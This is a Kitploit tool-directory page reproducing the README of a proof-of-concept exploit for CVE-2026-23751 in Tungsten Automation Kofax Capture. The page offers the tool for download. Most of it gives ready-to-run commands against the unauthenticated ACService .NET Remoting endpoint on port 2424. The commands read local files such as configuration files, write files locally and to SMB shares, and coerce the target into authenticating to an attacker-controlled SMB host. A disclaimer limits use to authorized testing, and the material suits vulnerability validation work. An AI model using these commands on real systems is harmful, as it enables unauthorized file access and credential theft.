Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/siebrum/cve-2026-23751-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubsiebrum/cve-2026-23751-poc

CVE-2026-23751-poc

Patched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting)

View Repository
6h 36m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-23751-poc

Proof-of-concept reimplementation of the technique described in Code White's NewRemotingTricks, targeting Tungsten Automation Kofax Capture.

CVE-2026-23751

Title: Tungsten Automation - Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting

CVE: CVE-2026-23751

Description

CVE-2026-23751 affects Tungsten Automation Kofax Capture and allows an unauthenticated remote attacker to interact with a .NET HTTP Remoting endpoint exposed by the Kofax Capture ACService.

The vulnerability can be abused to perform:

  • Unauthenticated arbitrary file reads
  • Unauthenticated arbitrary file writes
  • SMB authentication coercion
  • Access to local files accessible to the Kofax Capture service
  • Access to remote files through UNC paths

The PoC reimplements the relevant .NET Remoting technique from Code White's NewRemotingTricks project.

Affected Endpoint

The PoC targets the Kofax Capture ACService HTTP Remoting endpoint:

root@kitploit:~
http://<target>:2424/ACService

Port 2424 is the default HTTP Remoting port used by the affected service.

Usage

Read a local file

The following example reads the Windows hosts file from the target:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts

A Kofax Capture configuration file can similarly be read:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml

Write a local file

A file can be written to a location accessible by the Kofax Capture service by supplying the target path followed by the content:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld

Write to a remote SMB share

The same functionality can be used with a UNC path to write to a remote SMB share:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld

The ability to access the remote resource depends on the permissions and security context of the Kofax Capture service.

SMB coercion

A file:// URI can be supplied to cause the target to access a remote SMB resource:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe http://<target>:2424/ACService file://\\<attacker>\file\file.txt

This can cause the affected host to authenticate to the attacker-controlled SMB server, depending on the target environment and its security configuration.

Technical Background

The vulnerability involves the use of .NET HTTP Remoting by Kofax Capture's ACService.

.NET Remoting supports various URI schemes and object serialization mechanisms. By interacting with the exposed remoting endpoint in a specific way, an unauthenticated client can cause the service to perform file-system operations using paths supplied by the client.

The PoC demonstrates how this behavior can be used to:

  • Retrieve local files
  • Write data to local files
  • Access remote UNC/SMB paths
  • Trigger access to remote file:// resources

The PoC currently demonstrates writing string data to files. Other file types and payload formats can be supported by modifying the source code accordingly.

This implementation is based on research and techniques presented in:

Code White - NewRemotingTricks

https://github.com/codewhitesec/NewRemotingTricks/tree/main

Requirements

  • Windows
  • Network access to the target's Kofax Capture ACService
  • Kofax Capture instance exposing the affected HTTP Remoting endpoint
  • RemotingClient_MBRO_Lazy.exe

No authentication to the Kofax Capture service is required for exploitation.

Disclaimer

This repository is provided for security research, vulnerability validation, and authorized penetration testing purposes only.

Do not use this PoC against systems without explicit authorization. The author is not responsible for damage, data loss, unauthorized access, or other consequences resulting from misuse of this software.

References

  • CVE-2026-23751 — Tungsten Automation Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting
  • Code White - NewRemotingTricks
Download Tool